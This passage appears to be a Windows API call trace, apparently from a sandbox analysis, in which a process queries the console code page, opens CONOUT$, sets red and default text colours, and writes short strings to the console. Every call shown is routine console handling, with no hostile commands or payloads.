	[0088.266] GetConsoleOutputCP () returned 0x1b5
	[0088.266] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.266] GetLastError () returned 0xcb
	[0088.266] GetConsoleOutputCP () returned 0x1b5
	[0088.266] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.266] GetLastError () returned 0xcb
	[0088.266] GetConsoleOutputCP () returned 0x1b5
	[0088.266] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.266] GetLastError () returned 0xcb
	[0088.266] GetConsoleOutputCP () returned 0x1b5
	[0088.266] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.266] GetLastError () returned 0xcb
	[0088.266] GetConsoleOutputCP () returned 0x1b5
	[0088.266] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.266] GetLastError () returned 0xcb
	[0088.266] GetConsoleOutputCP () returned 0x1b5
	[0088.267] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.267] GetLastError () returned 0xcb
	[0088.267] GetConsoleOutputCP () returned 0x1b5
	[0088.267] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.267] GetLastError () returned 0xcb
	[0088.267] GetConsoleOutputCP () returned 0x1b5
	[0088.267] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.267] GetLastError () returned 0xcb
	[0088.267] GetConsoleOutputCP () returned 0x1b5
	[0088.267] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.267] GetLastError () returned 0xcb
	[0088.267] GetConsoleOutputCP () returned 0x1b5
	[0088.267] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.267] GetLastError () returned 0xcb
	[0088.267] GetConsoleOutputCP () returned 0x1b5
	[0088.267] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.267] GetLastError () returned 0xcb
	[0088.267] GetConsoleOutputCP () returned 0x1b5
	[0088.267] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.267] GetLastError () returned 0xcb
	[0088.267] GetConsoleOutputCP () returned 0x1b5
	[0088.267] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.267] GetLastError () returned 0xcb
	[0088.267] GetConsoleOutputCP () returned 0x1b5
	[0088.267] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.267] GetLastError () returned 0xcb
	[0088.268] GetConsoleOutputCP () returned 0x1b5
	[0088.268] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.268] GetLastError () returned 0xcb
	[0088.268] GetConsoleOutputCP () returned 0x1b5
	[0088.268] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.268] GetLastError () returned 0xcb
	[0088.268] GetConsoleOutputCP () returned 0x1b5
	[0088.268] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.268] GetLastError () returned 0xcb
	[0088.268] GetConsoleOutputCP () returned 0x1b5
	[0088.268] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.268] GetLastError () returned 0xcb
	[0088.268] GetConsoleOutputCP () returned 0x1b5
	[0088.268] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.268] GetLastError () returned 0xcb
	[0088.268] GetConsoleOutputCP () returned 0x1b5
	[0088.268] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.268] GetLastError () returned 0xcb
	[0088.268] GetConsoleOutputCP () returned 0x1b5
	[0088.268] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.268] GetLastError () returned 0xcb
	[0088.268] GetConsoleOutputCP () returned 0x1b5
	[0088.268] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.268] GetLastError () returned 0xcb
	[0088.268] GetConsoleOutputCP () returned 0x1b5
	[0088.269] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.269] GetLastError () returned 0xcb
	[0088.269] GetConsoleOutputCP () returned 0x1b5
	[0088.269] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaf000, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaf000) returned 0
	[0088.269] GetLastError () returned 0xcb
	[0088.269] GetConsoleOutputCP () returned 0x1b5
	[0088.269] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.269] GetLastError () returned 0xcb
	[0088.269] GetConsoleOutputCP () returned 0x1b5
	[0088.269] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.269] GetLastError () returned 0xcb
	[0088.269] GetConsoleOutputCP () returned 0x1b5
	[0088.269] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.269] GetLastError () returned 0xcb
	[0088.269] GetConsoleOutputCP () returned 0x1b5
	[0088.269] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.269] GetLastError () returned 0xcb
	[0088.269] GetConsoleOutputCP () returned 0x1b5
	[0088.269] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5eaefe0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5eaefe0) returned 0
	[0088.269] GetLastError () returned 0xcb
	[0088.293] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xbb, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0088.293] GetLastError () returned 0xcb
	[0088.298] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xbf
	[0088.299] GetLastError () returned 0xcb
	[0088.299] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xbf, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.299] GetLastError () returned 0xcb
	[0088.303] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc3
	[0088.304] GetLastError () returned 0xcb
	[0088.304] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xc3, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.304] GetLastError () returned 0xcb
	[0088.307] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc7
	[0088.308] GetLastError () returned 0xcb
	[0088.308] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xc7, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.308] GetLastError () returned 0xcb
	[0088.308] SetConsoleTextAttribute (hConsoleOutput=0xc7, wAttributes=0xc) returned 1
	[0088.308] GetLastError () returned 0xcb
	[0088.308] CloseHandle (hObject=0xc7) returned 1
	[0088.308] GetLastError () returned 0xcb
	[0088.311] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc7
	[0088.311] GetLastError () returned 0xcb
	[0088.311] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xc7, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.312] GetLastError () returned 0xcb
	[0088.312] SetConsoleTextAttribute (hConsoleOutput=0xc7, wAttributes=0xc) returned 1
	[0088.312] GetLastError () returned 0xcb
	[0088.312] CloseHandle (hObject=0xc7) returned 1
	[0088.312] GetLastError () returned 0xcb
	[0088.316] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc7
	[0088.316] GetLastError () returned 0xcb
	[0088.316] GetConsoleMode (in: hConsoleHandle=0xc7, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0088.316] GetLastError () returned 0xcb
	[0088.316] WriteConsoleW (in: hConsoleOutput=0xc7, lpBuffer=0x2cd7d64*, nNumberOfCharsToWrite=0x4d, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2cd7d64*, lpNumberOfCharsWritten=0x5eaefcc*=0x4d) returned 1
	[0088.316] GetLastError () returned 0xcb
	[0088.316] CloseHandle (hObject=0xc7) returned 1
	[0088.316] GetLastError () returned 0xcb
	[0088.321] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc7
	[0088.321] GetLastError () returned 0xcb
	[0088.321] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xc7, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.321] GetLastError () returned 0xcb
	[0088.321] SetConsoleTextAttribute (hConsoleOutput=0xc7, wAttributes=0x7) returned 1
	[0088.322] GetLastError () returned 0xcb
	[0088.322] CloseHandle (hObject=0xc7) returned 1
	[0088.322] GetLastError () returned 0xcb
	[0088.328] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc7
	[0088.329] GetLastError () returned 0xcb
	[0088.329] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xc7, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.329] GetLastError () returned 0xcb
	[0088.329] SetConsoleTextAttribute (hConsoleOutput=0xc7, wAttributes=0x7) returned 1
	[0088.329] GetLastError () returned 0xcb
	[0088.329] CloseHandle (hObject=0xc7) returned 1
	[0088.330] GetLastError () returned 0xcb
	[0088.335] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc7
	[0088.335] GetLastError () returned 0xcb
	[0088.335] GetConsoleMode (in: hConsoleHandle=0xc7, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0088.335] GetLastError () returned 0xcb
	[0088.335] WriteConsoleW (in: hConsoleOutput=0xc7, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0088.335] GetLastError () returned 0xcb
	[0088.336] CloseHandle (hObject=0xc7) returned 1
	[0088.336] GetLastError () returned 0xcb
	[0088.339] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xc7
	[0088.340] GetLastError () returned 0xcb
	[0088.340] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xc7, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0088.340] GetLastError () returned 0xcb
	[0088.340] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xcb, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.340] GetLastError () returned 0xcb
	[0088.348] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcf
	[0088.348] GetLastError () returned 0xcb
	[0088.348] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xcf, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.349] GetLastError () returned 0xcb
	[0088.353] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xd3
	[0088.353] GetLastError () returned 0xcb
	[0088.353] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xd3, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.354] GetLastError () returned 0xcb
	[0088.354] SetConsoleTextAttribute (hConsoleOutput=0xd3, wAttributes=0xc) returned 1
	[0088.354] GetLastError () returned 0xcb
	[0088.354] CloseHandle (hObject=0xd3) returned 1
	[0088.354] GetLastError () returned 0xcb
	[0088.357] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xd3
	[0088.357] GetLastError () returned 0xcb
	[0088.357] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xd3, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.358] GetLastError () returned 0xcb
	[0088.358] SetConsoleTextAttribute (hConsoleOutput=0xd3, wAttributes=0xc) returned 1
	[0088.358] GetLastError () returned 0xcb
	[0088.358] CloseHandle (hObject=0xd3) returned 1
	[0088.358] GetLastError () returned 0xcb
	[0088.361] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xd3
	[0088.361] GetLastError () returned 0xcb
	[0088.361] GetConsoleMode (in: hConsoleHandle=0xd3, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0088.361] GetLastError () returned 0xcb
	[0088.362] WriteConsoleW (in: hConsoleOutput=0xd3, lpBuffer=0x2cd8238*, nNumberOfCharsToWrite=0x12, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2cd8238*, lpNumberOfCharsWritten=0x5eaefcc*=0x12) returned 1
	[0088.362] GetLastError () returned 0xcb
	[0088.362] CloseHandle (hObject=0xd3) returned 1
	[0088.362] GetLastError () returned 0xcb
	[0088.365] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xd3
	[0088.365] GetLastError () returned 0xcb
	[0088.365] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xd3, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.365] GetLastError () returned 0xcb
	[0088.365] SetConsoleTextAttribute (hConsoleOutput=0xd3, wAttributes=0x7) returned 1
	[0088.365] GetLastError () returned 0xcb
	[0088.365] CloseHandle (hObject=0xd3) returned 1
	[0088.365] GetLastError () returned 0xcb
	[0088.368] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xd3
	[0088.368] GetLastError () returned 0xcb
	[0088.368] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xd3, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.368] GetLastError () returned 0xcb
	[0088.368] SetConsoleTextAttribute (hConsoleOutput=0xd3, wAttributes=0x7) returned 1
	[0088.369] GetLastError () returned 0xcb
	[0088.369] CloseHandle (hObject=0xd3) returned 1
	[0088.369] GetLastError () returned 0xcb
	[0088.372] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xd3
	[0088.372] GetLastError () returned 0xcb
	[0088.372] GetConsoleMode (in: hConsoleHandle=0xd3, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0088.372] GetLastError () returned 0xcb
	[0088.372] WriteConsoleW (in: hConsoleOutput=0xd3, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0088.372] GetLastError () returned 0xcb
	[0088.372] CloseHandle (hObject=0xd3) returned 1
	[0088.372] GetLastError () returned 0xcb
	[0088.375] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xd3
	[0088.375] GetLastError () returned 0xcb
	[0088.375] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xd3, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0088.376] GetLastError () returned 0xcb
	[0088.376] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xd7, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.376] GetLastError () returned 0xcb
	[0088.379] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdb
	[0088.380] GetLastError () returned 0xcb
	[0088.380] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xdb, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.380] GetLastError () returned 0xcb
	[0088.383] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdf
	[0088.383] GetLastError () returned 0xcb
	[0088.383] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xdf, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.383] GetLastError () returned 0xcb
	[0088.383] SetConsoleTextAttribute (hConsoleOutput=0xdf, wAttributes=0xc) returned 1
	[0088.383] GetLastError () returned 0xcb
	[0088.383] CloseHandle (hObject=0xdf) returned 1
	[0088.383] GetLastError () returned 0xcb
	[0088.386] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdf
	[0088.386] GetLastError () returned 0xcb
	[0088.386] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xdf, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.386] GetLastError () returned 0xcb
	[0088.386] SetConsoleTextAttribute (hConsoleOutput=0xdf, wAttributes=0xc) returned 1
	[0088.387] GetLastError () returned 0xcb
	[0088.387] CloseHandle (hObject=0xdf) returned 1
	[0088.387] GetLastError () returned 0xcb
	[0088.390] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdf
	[0088.390] GetLastError () returned 0xcb
	[0088.390] GetConsoleMode (in: hConsoleHandle=0xdf, lpMode=0x5eaefcc | out: lpMode=0x5eaefcc) returned 1
	[0088.390] GetLastError () returned 0xcb
	[0088.390] WriteConsoleW (in: hConsoleOutput=0xdf, lpBuffer=0x2cd8648*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5eaefcc, lpReserved=0x0 | out: lpBuffer=0x2cd8648*, lpNumberOfCharsWritten=0x5eaefcc*=0x4f) returned 1
	[0088.390] GetLastError () returned 0xcb
	[0088.390] CloseHandle (hObject=0xdf) returned 1
	[0088.390] GetLastError () returned 0xcb
	[0088.393] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdf
	[0088.394] GetLastError () returned 0xcb
	[0088.394] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xdf, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.394] GetLastError () returned 0xcb
	[0088.394] SetConsoleTextAttribute (hConsoleOutput=0xdf, wAttributes=0x7) returned 1
	[0088.394] GetLastError () returned 0xcb
	[0088.394] CloseHandle (hObject=0xdf) returned 1
	[0088.394] GetLastError () returned 0xcb
	[0088.397] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdf
	[0088.397] GetLastError () returned 0xcb
	[0088.397] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xdf, lpConsoleScreenBufferInfo=0x5eaef7c | out: lpConsoleScreenBufferInfo=0x5eaef7c) returned 1
	[0088.397] GetLastError () returned 0xcb
	[0088.397] SetConsoleTextAttribute (hConsoleOutput=0xdf, wAttributes=0x7) returned 1
	[0088.397] GetLastError () returned 0xcb
	[0088.397] CloseHandle (hObject=0xdf) returned 1
	[0088.398] GetLastError () returned 0xcb
	[0088.401] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdf
	[0088.401] GetLastError () returned 0xcb
	[0088.401] GetConsoleMode (in: hConsoleHandle=0xdf, lpMode=0x5eaf00c | out: lpMode=0x5eaf00c) returned 1
	[0088.401] GetLastError () returned 0xcb
	[0088.401] WriteConsoleW (in: hConsoleOutput=0xdf, lpBuffer=0x2979f7c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5eaf00c, lpReserved=0x0 | out: lpBuffer=0x2979f7c*, lpNumberOfCharsWritten=0x5eaf00c*=0x1) returned 1
	[0088.401] GetLastError () returned 0xcb
	[0088.401] CloseHandle (hObject=0xdf) returned 1
	[0088.401] GetLastError () returned 0xcb
	[0088.412] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xdf
	[0088.412] GetLastError () returned 0xcb
	[0088.412] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xdf, lpConsoleScreenBufferInfo=0x5eaefd8 | out: lpConsoleScreenBufferInfo=0x5eaefd8) returned 1
	[0088.412] GetLastError () returned 0xcb
	[0088.413] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xe3, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.413] GetLastError () returned 0xcb
	[0088.416] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe7
	[0088.416] GetLastError () returned 0xcb
	[0088.416] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xe7, lpConsoleScreenBufferInfo=0x5eaef78 | out: lpConsoleScreenBufferInfo=0x5eaef78) returned 1
	[0088.416] GetLastError () returned 0xcb
	[0088.419] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xeb
	[0088.419] GetLastError () returned 0xcb
	[0088.419] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xeb, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.419] GetLastError () returned 0xcb
	[0088.419] SetConsoleTextAttribute (hConsoleOutput=0xeb, wAttributes=0xc) returned 1
	[0088.419] GetLastError () returned 0xcb
	[0088.420] CloseHandle (hObject=0xeb) returned 1
	[0088.420] GetLastError () returned 0xcb
	[0088.422] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xeb
	[0088.423] GetLastError () returned 0xcb
	[0088.423] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xeb, lpConsoleScreenBufferInfo=0x5eaef80 | out: lpConsoleScreenBufferInfo=0x5eaef80) returned 1
	[0088.423] GetLastError () returned 0xcb
	[0088.423] SetConsoleTextAttribute (hConsoleOutput=0xeb, wAttributes=0xc) returned 1
	[0088.423] GetLastError () returned 0xcb
	[0088.423] CloseHandle (hObject=0xeb) returned 1
	[0088.423] GetLastError () returned 0xcb
